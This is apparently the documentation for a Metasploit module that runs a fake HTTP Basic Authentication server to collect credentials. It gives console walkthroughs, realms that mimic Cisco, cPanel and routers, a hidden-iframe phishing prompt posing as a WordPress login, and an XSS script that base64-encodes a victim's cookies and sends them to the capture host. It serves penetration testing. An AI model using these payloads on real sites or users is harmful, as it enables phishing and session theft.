h00die
272 lines
11 KiB
Markdown
272 lines
11 KiB
Markdown
This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
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## Verification Steps
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1. Start msfconsole
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2. Do: ```use auxiliary/server/capture/http_basic```
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3. Do: ```run```
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## Options
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**REALM**
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The Realm for the Basic Authentication, which may be displayed in the input box to the user.
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Default is `Secure Site`.
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Some notable Realms to emulate:
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* `level_15 or view_access`
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* `cPanel`
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* `HuaweiHomeGateway`
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* `Broadband Router`
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**RedirectURL**
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After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
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**SSL**
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Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
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will be automatically generated. Default is `False`.
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**SSLCert**
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File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
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generated. Default is ``.
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**URIPATH**
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What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
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the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
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## Scenarios
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### Cisco Emulator with wget Client
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Server:
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```
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msf5 > use auxiliary/server/capture/http_basic
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msf5 auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access"
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REALM => level_15 or view_access
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msf5 auxiliary(server/capture/http_basic) > set uripath '/cisco'
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uripath => /cisco
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msf5 auxiliary(server/capture/http_basic) > run
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[*] Auxiliary module running as background job 0.
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msf5 auxiliary(server/capture/http_basic) >
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[*] Using URL: http://0.0.0.0:80/cisco
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[*] Local IP: http://10.1.1.1:80/cisco
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[*] Server started.
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[*] Sending 401 to client 127.0.0.1
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[+] 127.0.0.1 - Credential collected: "cisco:cisco" => /cisco
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```
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Client:
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```
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root@kali:~# wget http://cisco:cisco@127.0.0.1:80/cisco
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--2018-11-05 19:44:29-- http://cisco:*password*@127.0.0.1/cisco
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Connecting to 127.0.0.1:80... connected.
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HTTP request sent, awaiting response... 401 Unauthorized
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Authentication selected: Basic realm="level_15 or view_access"
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Reusing existing connection to 127.0.0.1:80.
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HTTP request sent, awaiting response... 404 Not Found
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2018-11-05 19:44:29 ERROR 404: Not Found.
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```
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### HTTPS with Self-Signed Certificate and curl Client
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Server:
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```
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msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
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[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
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Generating a RSA private key
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............+++++
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.+++++
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writing new private key to 'key.pem'
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-----
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You are about to be asked to enter information that will be incorporated
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into your certificate request.
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What you are about to enter is what is called a Distinguished Name or a DN.
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There are quite a few fields but you can leave some blank
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For some fields there will be a default value,
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If you enter '.', the field will be left blank.
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-----
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Country Name (2 letter code) [AU]:
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State or Province Name (full name) [Some-State]:
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Locality Name (eg, city) []:
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Organization Name (eg, company) [Internet Widgits Pty Ltd]:
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Organizational Unit Name (eg, section) []:
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Common Name (e.g. server FQDN or YOUR name) []:
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Email Address []:
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msf5 > cat key.pem certificate.pem > selfsigned.pem
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[*] exec: cat key.pem certificate.pem > selfsigned.pem
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msf5 > cat /root/metasploit-framework/selfsigned.pem
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[*] exec: cat /root/metasploit-framework/selfsigned.pem
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-----BEGIN PRIVATE KEY-----
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MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmniuSmx1h57hK
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XxBCfCOfsfJatMEtsrTHFCC0GDvIIHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0
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SZlF6BRc0GELAC7qPa9VJ8HPYYVbO/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36
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ypHiZ3LIbaz8VuAUyIU5Qa6G+TNvwClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HA
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eN29IJyoiXH+GEjw7wBbm9dkbU1DI71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU
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5hB6jGpc9N7rMYqV82mLogsXGaRDWh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62
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ct4DtCrNAgMBAAECggEAJ8ZohnYLHJ0xjGeHPSffZTcYsPiniR45M7ElYXjLhKni
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GDHPy4Jnu8UShF2AH7Nlz8A5It8LpBRDbQZI1bxiaAnCsNqZWIfjPEPia3xPVolI
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uBztiENCCoXAKLq142dFyrePdexVxo46Td1f2Blz+E7eVdrzYWLBEvsQC96fndRx
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8j6KT17tIhGz+9+87dwVUXiiBZTzeWRf94jofek3XWADlu6QjAd3qW944ljYyB7p
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+cJGwod5xFUxRdAr12RN+VIuzyP6xUXkfBQImdT3E0nR8LWwb4FcjwrCtCNEEYqU
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/CEBx8rm0qt7mBLiIjTq5+clfKKbd1XOXmGn7+7A7QKBgQDdoJl7NBcpBtLMC1kY
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KK78kar+nWS5am9H/3o76+sRmQGOCjRg9TyQBmqGkxb7en/m/xZzmS0QxbLCbChj
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nOgFn9owQKQ4a2FPiNHQ1BQ7F44E+B4j+1auS7VnpbzhPgyOwmZcDoRn5h+FeNwW
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Xma/o+a78rp53eTzG9Hy8lFMwwKBgQDAdX8h8Us1d34a/GuFljUBe5iJNo1giqgq
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X8R2BCshvQWoT2wz3YX4FRBKMZKdfwLfbRxK1bzW7BinpgoNR6NV0lor75BgQiCJ
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nztUMCfDAkxwCgXZjR20OS106G/SRjRgLtYkdDhmfynyy2MSAKhmVaLxBa57VlXD
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ZE2G4jdxLwKBgQCu1oReGnDu77AaQhWOJoItQ+lmpdoRH/McFGJkpS+zmUYNvOUn
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XC/j2vvsoFswFqqSG8ild0CDC8OC93pBY0XzMfEZwdULoUKKUQBcwwIWv/VM3ERC
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1IPESnuYgbpo4t9bO+cuVlGD+ZoCXJ8bkmtyYaWjvc/4VeHJG7hb9WfHqwKBgAe5
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L17nVgNRRkhC9PWpb3sdwKNRAx9qsRDyQuoRhMGX2lBEz6zNKQEppzuy/ZVAcZcR
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w97k8O0XEG455ZFe3JknFeNJe9vBC5k6QKFCRXY382VToaR3W0fOO5rDcSlZE+UA
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PCu+Vj0WwVIzA0jHqfphWWaeub/NWSe8MLhG/76VAoGBALTnftXB/b45xkgNEIZ3
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7WOsfvGo23tlXSQdCNNOn6YKptqYX88jeihcKEvGoIBH+LfV/GfD2P1d227kHyBZ
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FoZ+2dUwVXO2UP5j3WlxBleOqk0rTbIri/Pj4oCajAR4pXDIviUD+bUFojyFaysj
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It3LYabipjgG3NjDxYBMyJnt
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-----END PRIVATE KEY-----
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-----BEGIN CERTIFICATE-----
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MIIDazCCAlOgAwIBAgIUXlRMetgIkrPIiamQGIBKbcEuT1IwDQYJKoZIhvcNAQEL
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BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
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GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDYwMDQ2NDFaFw0xOTEx
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MDYwMDQ2NDFaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
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HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
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AQUAA4IBDwAwggEKAoIBAQCmniuSmx1h57hKXxBCfCOfsfJatMEtsrTHFCC0GDvI
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IHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0SZlF6BRc0GELAC7qPa9VJ8HPYYVb
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O/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36ypHiZ3LIbaz8VuAUyIU5Qa6G+TNv
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wClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HAeN29IJyoiXH+GEjw7wBbm9dkbU1D
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I71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU5hB6jGpc9N7rMYqV82mLogsXGaRD
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Wh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62ct4DtCrNAgMBAAGjUzBRMB0GA1Ud
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DgQWBBR+MfL8LopA4OaIRLGK1gof3u+PIDAfBgNVHSMEGDAWgBR+MfL8LopA4OaI
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RLGK1gof3u+PIDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBe
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IGmZr3wlO32b25qj/4qB7ewukwF6uaS4OQh4VLlUk8uYsqoGfvehAaNNJsu1oKO5
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XpShHeyEkpwzgx0mdCmQSB3JKseFYuZTgP9GP00EXuHYl2V+quPFN17fq0AgYN6K
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TFDwzYbhWyFGz7k++i23w0/dwvL2dLH+bgdHYU49rhlZIAu7PgbyIuhP+M2ltcjt
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NDO8po38u2ba52E56abfg0ZlFBqsua2s1TPHIyQ9iovTPMg1E5UTTGebaN6/BaMh
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Oj6N43ld9EONST6BhP3v1buoWHi1FMouocrUkUDuahiHoLlK4ERSUrb4uNnwko24
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WdNCCmA8APA1qf2BYVqs
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-----END CERTIFICATE-----
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msf5 > use auxiliary/server/capture/http_basic
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msf5 auxiliary(server/capture/http_basic) > set ssl true
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ssl => true
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msf5 auxiliary(server/capture/http_basic) > set srvport 443
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srvport => 443
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msf5 auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem
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sslcert => /root/metasploit-framework/selfsigned.pem
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msf5 auxiliary(server/capture/http_basic) > run
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[*] Auxiliary module running as background job 0.
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msf5 auxiliary(server/capture/http_basic) >
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[*] Using URL: https://0.0.0.0:443/4w0tML
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[*] Local IP: https://192.168.2.117:443/4w0tML
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[*] Server started.
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[+] 127.0.0.1 - Credential collected: "admin:password123" => /4w0tML
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```
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Clients:
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```
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root@kali:~# curl -k --user admin:password123 https://127.0.0.1/4w0tML
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<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
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<html><head>
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<title>404 Not Found</title>
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</head><body>
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<h1>Not Found</h1>
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<p>The requested URL was not found on this server.</p>
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<hr>
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<address>Apache/2.2.9 (Unix) Server at Port 443</address>
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</body></html>
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```
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### HTML Injection Social Engineering
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In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
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that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
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set to the website, which will hopefully trick a user into entering their credentials.
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**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
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The HTML was simply edited in the local browser.**
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HTML Payload Injected:
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```html
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<iframe width="0" height="0" src="http://127.0.0.1/"></iframe>
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```
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Server:
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```
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msf5 > use auxiliary/server/capture/http_basic
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msf5 auxiliary(server/capture/http_basic) > set uripath '/'
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uripath => /
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msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
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REALM => Wordpress.com Login
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msf5 auxiliary(server/capture/http_basic) > run
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[*] Auxiliary module running as background job 0.
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msf5 auxiliary(server/capture/http_basic) >
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[*] Using URL: http://0.0.0.0:80/
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[*] Local IP: http://192.168.2.117:80/
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[*] Server started.
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[*] Sending 401 to client 127.0.0.1
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[+] 127.0.0.1 - Credential collected: "metasploit_blog:ms08-0sK1NG!" => /
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```
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Client:
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### XSS Cookie Theft
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In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
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pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
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we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
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that will silently attempt a login to our basic authentication website.
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**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
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The HTML was simply edited in the local browser.**
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Payload:
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```html
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<script>
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var cookie = document.cookie;
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var username = $('#username').text();
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document.write('<iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/"></iframe>');
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</script>
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```
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Sever:
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```
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msf5 > use auxiliary/server/capture/http_basic
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msf5 auxiliary(server/capture/http_basic) > set uripath '/'
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uripath => /
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msf5 auxiliary(server/capture/http_basic) > set REALM "Login"
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REALM => Login
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msf5 auxiliary(server/capture/http_basic) > run
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[*] Auxiliary module running as background job 0.
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msf5 auxiliary(server/capture/http_basic) >
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[*] Using URL: http://0.0.0.0:80/
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[*] Local IP: http://192.168.2.117:80/
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[*] Server started.
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[*] Sending 401 to client 127.0.0.1
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[+] 127.0.0.1 - Credential collected: "h00die:R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy" => /
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```
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Decoding the cookie:
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```
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msf5 auxiliary(server/capture/http_basic) > irb
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[*] Starting IRB shell...
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[*] You are in auxiliary/server/capture/http_basic
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>> Base64.decode64('R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy')
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=> "GUC=AQEBAAFbqSFcj0IeBARn&s=AQADAERaieCx&g=W2fb9Q; ucs=lnct=1537714242; cmp=t=1247468145&j=0; flash_enabled=0; apeaf=td-applet-stream=%7B%22tmpl%22%3A%22items%22%2C%22lv%22%3A1541470698788%7D; HP=1; B=c7koa55d69tbs&b=3&s=5r"
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```
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